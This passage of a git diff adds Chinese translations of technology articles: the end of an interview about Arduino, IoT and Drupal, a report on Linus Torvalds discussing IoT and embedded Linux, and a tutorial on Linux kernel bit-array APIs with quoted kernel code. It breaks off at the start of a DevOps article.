上找到了一个“物联网”专题。(很时髦,对吧?)我很快就喜欢上了。我最终找到了 Arduino 是什么的解释,以及所有这些其他的重要术语和概念。我订了一套推荐的 Arduino 初学者套件,还附带了一本如何上手的小册子。当我第一次让 LED 闪烁的时候,开心极了。我在圣诞节以及之后有两个星期的假期,然而我什么都没干,就一直根据初学者小册子给 Arduino 电路编程。很奇怪我觉得很放松!我太喜欢了。 + +在一月份的时候,我开始构思我自己的原型设备。在知道我需要主持公司培训的开场白时,我用五个 LED 灯和 Arduino 搭建了一个开场白视觉计时器的原型。 + +![](https://opensource.com/sites/default/files/resize/amber-arduino-lightning-talk-timer-400x400.jpg) + +这是一次巨大的成功。我还做了我的第一个可穿戴项目,一件会发光的连帽衫,使用了和 Arduino IDE 兼容的 Gemma 微控制器,一个小的圆形可缝制部件,然后用可导电的线缝起来,将一个滑动可变电阻和衣服帽口的收缩绳连在一起,用来控制缝到帽子里的五个 NeoPixel 灯的颜色。这就是我对原型设计的看法:做一些很好玩也可能会有点实际用途的疯狂项目。 + +**Drupal 和 IoT 带来的最大机遇是什么??** + +IoT 与 Web Service 以及 Drupal 分层趋势实际并没有太大差别。就是将数据从一个东西传送到另一个东西,然后将数据转换成一些有用的东西。但数据是如何送达?能用来做点什么?你觉得现在就有一大堆现成的解决方案、应用、中间层,以及 API 吗?采用 IoT,这只会继续成几何指数级的增长。我觉得,给我任何一个设备或“东西”,总有办法来将它连接到互联网上,有很多办法。而且有大量现成的代码库来帮助创客们将他们的数据从一个东西传到另一个东西。 + +那么 Drupal 在这里处于什么位置?首先,Web services 将是第一个明显的地方。但作为一个创客,我不希望将时间花在编写 Drupal 的订制模块上。我想要的是即插即用!所以我很高兴出现这样的模块能连接 IoT 云端 API 和服务,比如 ThingSpeak,Adafruit.io,IFTTT,以及其他的。我觉得也有一个很好的商业机会,在 Drupal 里构建一套 IoT 云服务,允许用户发送和存储他们的传感器数据,并可以制成表格和图像,还可以写一些插件可以响应特定数据或阙值。每一个 IoT 云 API 服务都是一个细分的机会,所以能留下很大空间给其他人。 + +**这次 DrupalCon 你有哪些期待?** + +我喜欢与 Drupal 上的朋友重逢,认识一些新的人,还能见到 Lullabot 和 Drupalize.Me 的同事(我们是分布式的公司)!Drupal 8 有太多东西可以去探索了,我们给我们的客户们提供了海量的培训资料。所以,我很期待参与一些 Drupal 8 相关的主题,以及跟上最新的开发进度。最后,我对新奥尔良也很感兴趣!我曾经在 2004 年去过,很期待将这次将看到哪些改变。 + +**谈一谈你这次 DrupalCon 上的演讲:“超越闪烁:将 Drupal 加到你的 IoT 游乐场中”。别人为什么要参加?他们最重要的收获会是什么?** + +我的主题的标题是,“超越闪烁:将 Drupal 加到你的 IoT 游乐场中”,假设我们所有人都处在同一进度和层次,你不需要了解任何关于 Arduino、物联网、甚至是 Drupal,都能跟上。我将从用 Arduino 让 LED 灯闪烁开始,然后我会谈一下我自己在这里面的最大收获:玩、学、教和做。我会列出一些曾经激励过我的例子,它们也很有希望能激发和鼓励其他听众去尝试一下。然后,就是展示时间! + +首先,第一个东西。它是一个建筑提醒信号灯。在这个展示里,我会说明如何将信号灯连到互联网上,以及如何响应从云 API 服务收到的数据。然后,第二个东西。它是一个蒸汽朋克风格 iPhone 外壳形式的“天气手表”。有一个小型 LED 矩阵用来显示我的天气的图标,一个气压和温度传感器,一个 GPS 模块,以及一个 Bluetooth LE 模块,都连接到一个 Adafruit Flora 微控制器上。第二个东西能通过蓝牙连接到我的 iPhone 上的一个应用,并将天气和位置数据通过 MQTT 协议发到 Adafruit.io 的服务器!然后,在 Drupal 这边,我会从云端下载这些数据,更新天气信息,然后更新地图。所以大家也能体验一下通过web service、地图和 Drupal 8 的功能块所能做的事情。 + +学习和制作这些展示原型是一次烧脑的探险,我也希望有人能参与这个主题并感染一点我对这种技术交叉的传染性热情!我很兴奋能分享一些我的发现。 + +------------------------------------------------------------------------------ + +via: https://opensource.com/business/16/5/drupalcon-interview-amber-matz + +作者:[Jason Hibbets][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jhibbets +[1]: https://www.drupal.org/u/amber-himes-matz +[2]: https://drupalize.me/ +[3]: https://events.drupal.org/neworleans2016/ +[4]: https://www.adafruit.com/beckystern diff --git a/published/201608/20160506 Linus Torvalds Talks IoT Smart Devices Security Concerns and More.md b/published/201608/20160506 Linus Torvalds Talks IoT Smart Devices Security Concerns and More.md new file mode 100644 index 0000000000..78af0dc3de --- /dev/null +++ b/published/201608/20160506 Linus Torvalds Talks IoT Smart Devices Security Concerns and More.md @@ -0,0 +1,49 @@ +Linus Torvalds 谈及物联网、智能设备、安全连接等问题 +=========================================================================== + +![](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/elc-linus-b.jpg?itok=6WwnCSjL) + +*Dirk Hohndel 在嵌入式大会上采访 Linus Torvalds 。* + + +4 月 4 日到 6 日,在圣迭戈召开的[嵌入式 Linux 大会(Embedded Linux Conference)][0](ELC) 从首次举办到现在已经有 11 年了,该会议包括了与 Linus Torvalds 的主题讨论。作为 Linux 内核的缔造者和最高决策者——用采访他的英特尔 Linux 和开源技术总监 Dirk Hohndel 的话说,“(他是)我们聚在一起的理由”——他对 Linux 在嵌入式和物联网应用程序领域的发展表示乐观。Torvalds 很明确地力挺了嵌入式 Linux,它被 Linux 桌面、服务器和云技术这些掩去光芒已经很多年了。 + +![](https://www.linux.com/sites/lcom/files/styles/floated_images/public/elc-linus_0.jpg?itok=FNPIDe8k) + +*Linus Torvalds 在嵌入式 Linux 大会上的演讲。* + +物联网是嵌入式大会的主题,在 OpenIoT 峰会讲演中谈到了,在 Torvalds 的访谈中也是主要话题。 + +Torvalds 对 Hohndel 说到,“或许你不会在物联网末端设备上看到 Linux 的影子,但是在你有一个中心设备的时候,你就会需要它。尤其是物联网标准都有 23 个的时候,你就更需要智能设备了。如果你全部使用的是低级设备,它们没必要一定运行 Linux;如果它们采用的标准稍有差异,你就需要很多的智能设备。我们将来也不会有一个完全开放的标准来将这些物联网设备统一到一起,但是我们会有 3/4 的主要协议是一样的,然后那些智能的中心设备就可以对它们进行互相转换。” + +当 Hohndel 问及在物联网的巨大安全漏洞的时候,Torvalds 神情如常。他说:“我不担心安全问题因为我们能做的不是很多,物联网(设备)是不能更新的,这是我们面对的事实。" + +Linux 缔造者看起来更关心的是一次性嵌入式项目缺少对上游的及时贡献,尽管他注意到近年来这些有了一些显著改善,特别是在硬件整合方面。 + +“嵌入式领域历来就很难与开源开发者有所联系,但是我认为这些都在发生改变。”Torvalds 说:“ARM 社区变得越来越好了。内核维护者实际上现在也能跟上了一些硬件的更新换代。一切都在变好,但是还不够。” + +Torvalds 承认他在家经常使用桌面系统而不是嵌入式系统,并且对硬件不是很熟悉。 + +“我已经用电烙铁弄坏了很多东西。”他说到。“我真的不适合搞硬件开发。”另一方面,Torvalds 设想如果他现在是个年轻人,他可能也在摆弄 Raspberry Pi 和 BeagleBone(猎兔犬板)。“最棒的是你不需要精通焊接,你只需要买个新的板子就行。” + +同时,Torvalds 也承诺他要为 Linux 桌面再奋斗一个 25 年。他笑着说:“我要为它工作一生。” + +下面,请看完整[视频](https://youtu.be/tQKUWkR-wtM)。 + + +要获取关于嵌入式 Linux 和物联网的最新信息,请访问 2016 年嵌入式 Linux 大会 150+ 分钟的会议全程。[现在观看][1]。 + +-------------------------------------------------------------------------------- + +via: https://www.linux.com/news/linus-torvalds-talks-iot-smart-devices-security-concerns-and-more-video + +作者:[ERIC BROWN][a] +译者:[vim-kakali](https://github.com/vim-kakali) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linux.com/users/ericstephenbrown +[0]: http://events.linuxfoundation.org/events/embedded-linux-conference +[1]: http://go.linuxfoundation.org/elc-openiot-summit-2016-videos?utm_source=lf&utm_medium=blog&utm_campaign=linuxcom + diff --git a/published/201608/20160512 Bitmap in Linux Kernel.md b/published/201608/20160512 Bitmap in Linux Kernel.md new file mode 100644 index 0000000000..3c4117aece --- /dev/null +++ b/published/201608/20160512 Bitmap in Linux Kernel.md @@ -0,0 +1,399 @@ +Linux 内核里的数据结构——位数组 +================================================================================ + +Linux 内核中的位数组和位操作 +-------------------------------------------------------------------------------- + +除了不同的基于[链式](https://en.wikipedia.org/wiki/Linked_data_structure)和[树](https://en.wikipedia.org/wiki/Tree_%28data_structure%29)的数据结构以外,Linux 内核也为[位数组](https://en.wikipedia.org/wiki/Bit_array)(或称为位图(bitmap))提供了 [API](https://en.wikipedia.org/wiki/Application_programming_interface)。位数组在 Linux 内核里被广泛使用,并且在以下的源代码文件中包含了与这样的结构搭配使用的通用 `API`: + +* [lib/bitmap.c](https://github.com/torvalds/linux/blob/master/lib/bitmap.c) +* [include/linux/bitmap.h](https://github.com/torvalds/linux/blob/master/include/linux/bitmap.h) + +除了这两个文件之外,还有体系结构特定的头文件,它们为特定的体系结构提供优化的位操作。我们将探讨 [x86_64](https://en.wikipedia.org/wiki/X86-64) 体系结构,因此在我们的例子里,它会是 + +* [arch/x86/include/asm/bitops.h](https://github.com/torvalds/linux/blob/master/arch/x86/include/asm/bitops.h) + +头文件。正如我上面所写的,`位图`在 Linux 内核中被广泛地使用。例如,`位数组`常常用于保存一组在线/离线处理器,以便系统支持[热插拔](https://www.kernel.org/doc/Documentation/cpu-hotplug.txt)的 CPU(你可以在 [cpumasks](https://0xax.gitbooks.io/linux-insides/content/Concepts/cpumask.html) 部分阅读更多相关知识 ),一个位数组(bit array)可以在 Linux 内核初始化等期间保存一组已分配的[中断处理](https://en.wikipedia.org/wiki/Interrupt_request_%28PC_architecture%29)。 + +因此,本部分的主要目的是了解位数组(bit array)是如何在 Linux 内核中实现的。让我们现在开始吧。 + +位数组声明 +================================================================================ + +在我们开始查看`位图`操作的 `API` 之前,我们必须知道如何在 Linux 内核中声明它。有两种声明位数组的通用方法。第一种简单的声明一个位数组的方法是,定义一个 `unsigned long` 的数组,例如: + +```C +unsigned long my_bitmap[8] +``` + +第二种方法,是使用 `DECLARE_BITMAP` 宏,它定义于 [include/linux/types.h](https://github.com/torvalds/linux/blob/master/include/linux/types.h) 头文件: + +```C +#define DECLARE_BITMAP(name,bits) \ + unsigned long name[BITS_TO_LONGS(bits)] +``` + +我们可以看到 `DECLARE_BITMAP` 宏使用两个参数: + +* `name` - 位图名称; +* `bits` - 位图中位数; + +并且只是使用 `BITS_TO_LONGS(bits)` 元素展开 `unsigned long` 数组的定义。 `BITS_TO_LONGS` 宏将一个给定的位数转换为 `long` 的个数,换言之,就是计算 `bits` 中有多少个 `8` 字节元素: + +```C +#define BITS_PER_BYTE 8 +#define DIV_ROUND_UP(n,d) (((n) + (d) - 1) / (d)) +#define BITS_TO_LONGS(nr) DIV_ROUND_UP(nr, BITS_PER_BYTE * sizeof(long)) +``` + +因此,例如 `DECLARE_BITMAP(my_bitmap, 64)` 将产生: + +```python +>>> (((64) + (64) - 1) / (64)) +1 +``` + +与: + +```C +unsigned long my_bitmap[1]; +``` + +在能够声明一个位数组之后,我们便可以使用它了。 + +体系结构特定的位操作 +================================================================================ + +我们已经看了上面提及的一对源文件和头文件,它们提供了位数组操作的 [API](https://en.wikipedia.org/wiki/Application_programming_interface)。其中重要且广泛使用的位数组 API 是体系结构特定的且位于已提及的头文件中 [arch/x86/include/asm/bitops.h](https://github.com/torvalds/linux/blob/master/arch/x86/include/asm/bitops.h)。 + +首先让我们查看两个最重要的函数: + +* `set_bit`; +* `clear_bit`. + +我认为没有必要解释这些函数的作用。从它们的名字来看,这已经很清楚了。让我们直接查看它们的实现。如果你浏览 [arch/x86/include/asm/bitops.h](https://github.com/torvalds/linux/blob/master/arch/x86/include/asm/bitops.h) 头文件,你将会注意到这些函数中的每一个都有[原子性](https://en.wikipedia.org/wiki/Linearizability)和非原子性两种变体。在我们开始深入这些函数的实现之前,首先,我们必须了解一些有关原子(atomic)操作的知识。 + +简而言之,原子操作保证两个或以上的操作不会并发地执行同一数据。`x86` 体系结构提供了一系列原子指令,例如, [xchg](http://x86.renejeschke.de/html/file_module_x86_id_328.html)、[cmpxchg](http://x86.renejeschke.de/html/file_module_x86_id_41.html) 等指令。除了原子指令,一些非原子指令可以在 [lock](http://x86.renejeschke.de/html/file_module_x86_id_159.html) 指令的帮助下具有原子性。现在你已经对原子操作有了足够的了解,我们可以接着探讨 `set_bit` 和 `clear_bit` 函数的实现。 + +我们先考虑函数的非原子性(non-atomic)变体。非原子性的 `set_bit` 和 `clear_bit` 的名字以双下划线开始。正如我们所知道的,所有这些函数都定义于 [arch/x86/include/asm/bitops.h](https://github.com/torvalds/linux/blob/master/arch/x86/include/asm/bitops.h) 头文件,并且第一个函数就是 `__set_bit`: + +```C +static inline void __set_bit(long nr, volatile unsigned long *addr) +{ + asm volatile("bts %1,%0" : ADDR : "Ir" (nr) : "memory"); +} +``` + +正如我们所看到的,它使用了两个参数: + +* `nr` - 位数组中的位号(LCTT 译注:从 0开始) +* `addr` - 我们需要置位的位数组地址 + +注意,`addr` 参数使用 `volatile` 关键字定义,以告诉编译器给定地址指向的变量可能会被修改。 `__set_bit` 的实现相当简单。正如我们所看到的,它仅包含一行[内联汇编代码](https://en.wikipedia.org/wiki/Inline_assembler)。在我们的例子中,我们使用 [bts](http://x86.renejeschke.de/html/file_module_x86_id_25.html) 指令,从位数组中选出一个第一操作数(我们的例子中的 `nr`)所指定的位,存储选出的位的值到 [CF](https://en.wikipedia.org/wiki/FLAGS_register) 标志寄存器并设置该位(LCTT 译注:即 `nr` 指定的位置为 1)。 + +注意,我们了解了 `nr` 的用法,但这里还有一个参数 `addr` 呢!你或许已经猜到秘密就在 `ADDR`。 `ADDR` 是一个定义在同一个头文件中的宏,它展开为一个包含给定地址和 `+m` 约束的字符串: + +```C +#define ADDR BITOP_ADDR(addr) +#define BITOP_ADDR(x) "+m" (*(volatile long *) (x)) +``` + +除了 `+m` 之外,在 `__set_bit` 函数中我们可以看到其他约束。让我们查看并试着理解它们所表示的意义: + +* `+m` - 表示内存操作数,这里的 `+` 表明给定的操作数为输入输出操作数; +* `I` - 表示整型常量; +* `r` - 表示寄存器操作数 + +除了这些约束之外,我们也能看到 `memory` 关键字,其告诉编译器这段代码会修改内存中的变量。到此为止,现在我们看看相同的原子性(atomic)变体函数。它看起来比非原子性(non-atomic)变体更加复杂: + +```C +static __always_inline void +set_bit(long nr, volatile unsigned long *addr) +{ + if (IS_IMMEDIATE(nr)) { + asm volatile(LOCK_PREFIX "orb %1,%0" + : CONST_MASK_ADDR(nr, addr) + : "iq" ((u8)CONST_MASK(nr)) + : "memory"); + } else { + asm volatile(LOCK_PREFIX "bts %1,%0" + : BITOP_ADDR(addr) : "Ir" (nr) : "memory"); + } +} +``` + +(LCTT 译注:BITOP_ADDR 的定义为:`#define BITOP_ADDR(x) "=m" (*(volatile long *) (x))`,ORB 为字节按位或。) + +首先注意,这个函数使用了与 `__set_bit` 相同的参数集合,但额外地使用了 `__always_inline` 属性标记。 `__always_inline` 是一个定义于 [include/linux/compiler-gcc.h](https://github.com/torvalds/linux/blob/master/include/linux/compiler-gcc.h) 的宏,并且只是展开为 `always_inline` 属性: + +```C +#define __always_inline inline __attribute__((always_inline)) +``` + +其意味着这个函数总是内联的,以减少 Linux 内核映像的大小。现在让我们试着了解下 `set_bit` 函数的实现。首先我们在 `set_bit` 函数的开头检查给定的位的数量。`IS_IMMEDIATE` 宏定义于相同的[头文件](https://github.com/torvalds/linux/blob/master/arch/x86/include/asm/bitops.h),并展开为 [gcc](https://en.wikipedia.org/wiki/GNU_Compiler_Collection) 内置函数的调用: + +```C +#define IS_IMMEDIATE(nr) (__builtin_constant_p(nr)) +``` + +如果给定的参数是编译期已知的常量,`__builtin_constant_p` 内置函数则返回 `1`,其他情况返回 `0`。假若给定的位数是编译期已知的常量,我们便无须使用效率低下的 `bts` 指令去设置位。我们可以只需在给定地址指向的字节上执行 [按位或](https://en.wikipedia.org/wiki/Bitwise_operation#OR) 操作,其字节包含给定的位,掩码位数表示高位为 `1`,其他位为 0 的掩码。在其他情况下,如果给定的位号不是编译期已知常量,我们便做和 `__set_bit` 函数一样的事。`CONST_MASK_ADDR` 宏: + +```C +#define CONST_MASK_ADDR(nr, addr) BITOP_ADDR((void *)(addr) + ((nr)>>3)) +``` + +展开为带有到包含给定位的字节偏移的给定地址,例如,我们拥有地址 `0x1000` 和位号 `0x9`。因为 `0x9` 代表 `一个字节 + 一位`,所以我们的地址是 `addr + 1`: + +```python +>>> hex(0x1000 + (0x9 >> 3)) +'0x1001' +``` + +`CONST_MASK` 宏将我们给定的位号表示为字节,位号对应位为高位 `1`,其他位为 `0`: + +```C +#define CONST_MASK(nr) (1 << ((nr) & 7)) +``` + +```python +>>> bin(1 << (0x9 & 7)) +'0b10' +``` + +最后,我们应用 `按位或` 运算到这些变量上面,因此,假如我们的地址是 `0x4097` ,并且我们需要置位号为 `9` 的位为 1: + +```python +>>> bin(0x4097) +'0b100000010010111' +>>> bin((0x4097 >> 0x9) | (1 << (0x9 & 7))) +'0b100010' +``` + +`第 9 位` 将会被置位。(LCTT 译注:这里的 9 是从 0 开始计数的,比如0010,按照作者的意思,其中的 1 是第 1 位) + +注意,所有这些操作使用 `LOCK_PREFIX` 标记,其展开为 [lock](http://x86.renejeschke.de/html/file_module_x86_id_159.html) 指令,保证该操作的原子性。 + +正如我们所知,除了 `set_bit` 和 `__set_bit` 操作之外,Linux 内核还提供了两个功能相反的函数,在原子性和非原子性的上下文中清位。它们是 `clear_bit` 和 `__clear_bit`。这两个函数都定义于同一个[头文件](https://github.com/torvalds/linux/blob/master/arch/x86/include/asm/bitops.h) 并且使用相同的参数集合。不仅参数相似,一般而言,这些函数与 `set_bit` 和 `__set_bit` 也非常相似。让我们查看非原子性 `__clear_bit` 的实现吧: + +```C +static inline void __clear_bit(long nr, volatile unsigned long *addr) +{ + asm volatile("btr %1,%0" : ADDR : "Ir" (nr)); +} +``` + +没错,正如我们所见,`__clear_bit` 使用相同的参数集合,并包含极其相似的内联汇编代码块。它只是使用 [btr](http://x86.renejeschke.de/html/file_module_x86_id_24.html) 指令替换了 `bts`。正如我们从函数名所理解的一样,通过给定地址,它清除了给定的位。`btr` 指令表现得像 `bts`(LCTT 译注:原文这里为 btr,可能为笔误,修正为 bts)。该指令选出第一操作数所指定的位,存储它的值到 `CF` 标志寄存器,并且清除第二操作数指定的位数组中的对应位。 + +`__clear_bit` 的原子性变体为 `clear_bit`: + +```C +static __always_inline void +clear_bit(long nr, volatile unsigned long *addr) +{ + if (IS_IMMEDIATE(nr)) { + asm volatile(LOCK_PREFIX "andb %1,%0" + : CONST_MASK_ADDR(nr, addr) + : "iq" ((u8)~CONST_MASK(nr))); + } else { + asm volatile(LOCK_PREFIX "btr %1,%0" + : BITOP_ADDR(addr) + : "Ir" (nr)); + } +} +``` + +并且正如我们所看到的,它与 `set_bit` 非常相似,只有两处不同。第一处差异为 `clear_bit` 使用 `btr` 指令来清位,而 `set_bit` 使用 `bts` 指令来置位。第二处差异为 `clear_bit` 使用否定的位掩码和 `按位与` 在给定的字节上置位,而 `set_bit` 使用 `按位或` 指令。 + +到此为止,我们可以在任意位数组置位和清位了,我们将看看位掩码上的其他操作。 + +在 Linux 内核中对位数组最广泛使用的操作是设置和清除位,但是除了这两个操作外,位数组上其他操作也是非常有用的。Linux 内核里另一种广泛使用的操作是知晓位数组中一个给定的位是否被置位。我们能够通过 `test_bit` 宏的帮助实现这一功能。这个宏定义于 [arch/x86/include/asm/bitops.h](https://github.com/torvalds/linux/blob/master/arch/x86/include/asm/bitops.h) 头文件,并根据位号分别展开为 `constant_test_bit` 或 `variable_test_bit` 调用。 + +```C +#define test_bit(nr, addr) \ + (__builtin_constant_p((nr)) \ + ? constant_test_bit((nr), (addr)) \ + : variable_test_bit((nr), (addr))) +``` + +因此,如果 `nr` 是编译期已知常量,`test_bit` 将展开为 `constant_test_bit` 函数的调用,而其他情况则为 `variable_test_bit`。现在让我们看看这些函数的实现,让我们从 `variable_test_bit` 开始看起: + +```C +static inline int variable_test_bit(long nr, volatile const unsigned long *addr) +{ + int oldbit; + + asm volatile("bt %2,%1\n\t" + "sbb %0,%0" + : "=r" (oldbit) + : "m" (*(unsigned long *)addr), "Ir" (nr)); + + return oldbit; +} +``` + +`variable_test_bit` 函数使用了与 `set_bit` 及其他函数使用的相似的参数集合。我们也可以看到执行 [bt](http://x86.renejeschke.de/html/file_module_x86_id_22.html) 和 [sbb](http://x86.renejeschke.de/html/file_module_x86_id_286.html) 指令的内联汇编代码。`bt` (或称 `bit test`)指令从第二操作数指定的位数组选出第一操作数指定的一个指定位,并且将该位的值存进标志寄存器的 [CF](https://en.wikipedia.org/wiki/FLAGS_register) 位。第二个指令 `sbb` 从第二操作数中减去第一操作数,再减去 `CF` 的值。因此,这里将一个从给定位数组中的给定位号的值写进标志寄存器的 `CF` 位,并且执行 `sbb` 指令计算: `00000000 - CF`,并将结果写进 `oldbit` 变量。 + +`constant_test_bit` 函数做了和我们在 `set_bit` 所看到的一样的事: + +```C +static __always_inline int constant_test_bit(long nr, const volatile unsigned long *addr) +{ + return ((1UL << (nr & (BITS_PER_LONG-1))) & + (addr[nr >> _BITOPS_LONG_SHIFT])) != 0; +} +``` + +它生成了一个位号对应位为高位 `1`,而其他位为 `0` 的字节(正如我们在 `CONST_MASK` 所看到的),并将 [按位与](https://en.wikipedia.org/wiki/Bitwise_operation#AND) 应用于包含给定位号的字节。 + +下一个被广泛使用的位数组相关操作是改变一个位数组中的位。为此,Linux 内核提供了两个辅助函数: + +* `__change_bit`; +* `change_bit`. + +你可能已经猜测到,就拿 `set_bit` 和 `__set_bit` 例子说,这两个变体分别是原子和非原子版本。首先,让我们看看 `__change_bit` 函数的实现: + +```C +static inline void __change_bit(long nr, volatile unsigned long *addr) +{ + asm volatile("btc %1,%0" : ADDR : "Ir" (nr)); +} +``` + +相当简单,不是吗? `__change_bit` 的实现和 `__set_bit` 一样,只是我们使用 [btc](http://x86.renejeschke.de/html/file_module_x86_id_23.html) 替换 `bts` 指令而已。 该指令从一个给定位数组中选出一个给定位,将该为位的值存进 `CF` 并使用求反操作改变它的值,因此值为 `1` 的位将变为 `0`,反之亦然: + +```python +>>> int(not 1) +0 +>>> int(not 0) +1 +``` + +`__change_bit` 的原子版本为 `change_bit` 函数: + +```C +static inline void change_bit(long nr, volatile unsigned long *addr) +{ + if (IS_IMMEDIATE(nr)) { + asm volatile(LOCK_PREFIX "xorb %1,%0" + : CONST_MASK_ADDR(nr, addr) + : "iq" ((u8)CONST_MASK(nr))); + } else { + asm volatile(LOCK_PREFIX "btc %1,%0" + : BITOP_ADDR(addr) + : "Ir" (nr)); + } +} +``` + +它和 `set_bit` 函数很相似,但也存在两点不同。第一处差异为 `xor` 操作而不是 `or`。第二处差异为 `btc`( LCTT 译注:原文为 `bts`,为作者笔误) 而不是 `bts`。 + +目前,我们了解了最重要的体系特定的位数组操作,是时候看看一般的位图 API 了。 + +通用位操作 +================================================================================ + +除了 [arch/x86/include/asm/bitops.h](https://github.com/torvalds/linux/blob/master/arch/x86/include/asm/bitops.h) 中体系特定的 API 外,Linux 内核提供了操作位数组的通用 API。正如我们本部分开头所了解的一样,我们可以在 [include/linux/bitmap.h](https://github.com/torvalds/linux/blob/master/include/linux/bitmap.h) 头文件和 [lib/bitmap.c](https://github.com/torvalds/linux/blob/master/lib/bitmap.c) 源文件中找到它。但在查看这些源文件之前,我们先看看 [include/linux/bitops.h](https://github.com/torvalds/linux/blob/master/include/linux/bitops.h) 头文件,其提供了一系列有用的宏,让我们看看它们当中一部分。 + +首先我们看看以下 4 个 宏: + +* `for_each_set_bit` +* `for_each_set_bit_from` +* `for_each_clear_bit` +* `for_each_clear_bit_from` + +所有这些宏都提供了遍历位数组中某些位集合的迭代器。第一个宏迭代那些被置位的位。第二个宏也是一样,但它是从某一个确定的位开始。最后两个宏做的一样,但是迭代那些被清位的位。让我们看看 `for_each_set_bit` 宏: + +```C +#define for_each_set_bit(bit, addr, size) \ + for ((bit) = find_first_bit((addr), (size)); \ + (bit) < (size); \ + (bit) = find_next_bit((addr), (size), (bit) + 1)) +``` + +正如我们所看到的,它使用了三个参数,并展开为一个循环,该循环从作为 `find_first_bit` 函数返回结果的第一个置位开始,到小于给定大小的最后一个置位为止。 + +除了这四个宏, [arch/x86/include/asm/bitops.h](https://github.com/torvalds/linux/blob/master/arch/x86/include/asm/bitops.h) 也提供了 `64-bit` 或 `32-bit` 变量循环的 API 等等。 + +下一个 [头文件](https://github.com/torvalds/linux/blob/master/include/linux/bitmap.h) 提供了操作位数组的 API。例如,它提供了以下两个函数: + +* `bitmap_zero`; +* `bitmap_fill`. + +它们分别可以清除一个位数组和用 `1` 填充位数组。让我们看看 `bitmap_zero` 函数的实现: + +```C +static inline void bitmap_zero(unsigned long *dst, unsigned int nbits) +{ + if (small_const_nbits(nbits)) + *dst = 0UL; + else { + unsigned int len = BITS_TO_LONGS(nbits) * sizeof(unsigned long); + memset(dst, 0, len); + } +} +``` + +首先我们可以看到对 `nbits` 的检查。 `small_const_nbits` 是一个定义在同一个[头文件](https://github.com/torvalds/linux/blob/master/include/linux/bitmap.h) 的宏: + +```C +#define small_const_nbits(nbits) \ + (__builtin_constant_p(nbits) && (nbits) <= BITS_PER_LONG) +``` + +正如我们可以看到的,它检查 `nbits` 是否为编译期已知常量,并且其值不超过 `BITS_PER_LONG` 或 `64`。如果位数目没有超过一个 `long` 变量的位数,我们可以仅仅设置为 0。在其他情况,我们需要计算有多少个需要填充位数组的 `long` 变量并且使用 [memset](http://man7.org/linux/man-pages/man3/memset.3.html) 进行填充。 + +`bitmap_fill` 函数的实现和 `biramp_zero` 函数很相似,除了我们需要在给定的位数组中填写 `0xff` 或 `0b11111111`: + +```C +static inline void bitmap_fill(unsigned long *dst, unsigned int nbits) +{ + unsigned int nlongs = BITS_TO_LONGS(nbits); + if (!small_const_nbits(nbits)) { + unsigned int len = (nlongs - 1) * sizeof(unsigned long); + memset(dst, 0xff, len); + } + dst[nlongs - 1] = BITMAP_LAST_WORD_MASK(nbits); +} +``` + +除了 `bitmap_fill` 和 `bitmap_zero`,[include/linux/bitmap.h](https://github.com/torvalds/linux/blob/master/include/linux/bitmap.h) 头文件也提供了和 `bitmap_zero` 很相似的 `bitmap_copy`,只是仅仅使用 [memcpy](http://man7.org/linux/man-pages/man3/memcpy.3.html) 而不是 [memset](http://man7.org/linux/man-pages/man3/memset.3.html) 这点差异而已。它也提供了位数组的按位操作,像 `bitmap_and`, `bitmap_or`, `bitamp_xor`等等。我们不会探讨这些函数的实现了,因为如果你理解了本部分的所有内容,这些函数的实现是很容易理解的。无论如何,如果你对这些函数是如何实现的感兴趣,你可以打开并研究 [include/linux/bitmap.h](https://github.com/torvalds/linux/blob/master/include/linux/bitmap.h) 头文件。 + +本部分到此为止。 + +链接 +================================================================================ + +* [bitmap](https://en.wikipedia.org/wiki/Bit_array) +* [linked data structures](https://en.wikipedia.org/wiki/Linked_data_structure) +* [tree data structures](https://en.wikipedia.org/wiki/Tree_%28data_structure%29) +* [hot-plug](https://www.kernel.org/doc/Documentation/cpu-hotplug.txt) +* [cpumasks](https://0xax.gitbooks.io/linux-insides/content/Concepts/cpumask.html) +* [IRQs](https://en.wikipedia.org/wiki/Interrupt_request_%28PC_architecture%29) +* [API](https://en.wikipedia.org/wiki/Application_programming_interface) +* [atomic operations](https://en.wikipedia.org/wiki/Linearizability) +* [xchg instruction](http://x86.renejeschke.de/html/file_module_x86_id_328.html) +* [cmpxchg instruction](http://x86.renejeschke.de/html/file_module_x86_id_41.html) +* [lock instruction](http://x86.renejeschke.de/html/file_module_x86_id_159.html) +* [bts instruction](http://x86.renejeschke.de/html/file_module_x86_id_25.html) +* [btr instruction](http://x86.renejeschke.de/html/file_module_x86_id_24.html) +* [bt instruction](http://x86.renejeschke.de/html/file_module_x86_id_22.html) +* [sbb instruction](http://x86.renejeschke.de/html/file_module_x86_id_286.html) +* [btc instruction](http://x86.renejeschke.de/html/file_module_x86_id_23.html) +* [man memcpy](http://man7.org/linux/man-pages/man3/memcpy.3.html) +* [man memset](http://man7.org/linux/man-pages/man3/memset.3.html) +* [CF](https://en.wikipedia.org/wiki/FLAGS_register) +* [inline assembler](https://en.wikipedia.org/wiki/Inline_assembler) +* [gcc](https://en.wikipedia.org/wiki/GNU_Compiler_Collection) + + +------------------------------------------------------------------------------ + +via: https://github.com/0xAX/linux-insides/blob/master/DataStructures/bitmap.md + +作者:[0xAX][a] +译者:[cposture](https://github.com/cposture) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twitter.com/0xAX \ No newline at end of file diff --git a/published/201608/20160516 Scaling Collaboration in DevOps.md b/published/201608/20160516 Scaling Collaboration in DevOps.md new file mode 100644 index 0000000000..e58838cd48 --- /dev/null +++ b/published/201608/20160516 Scaling Collaboration in DevOps.md @@ -0,0 +1,66 @@ +DevOps 的弹性合作 +================================= + +![](http://devops.com/wp-content/uploads/2016/05/ScalingCollaboration.jpg) + +那些熟悉 DevOps 的人通常认为与其说 DevOps 是一种技术不如说是一种文化。在 DevOps 的有效实践上需要一些特定的工具和经验,但是 DevOps 成功的基础在于企业内如何做好[团队和个体协作][1],从而可以让事情更快、更高效而有效的完成。 + +大多数的 DevOps 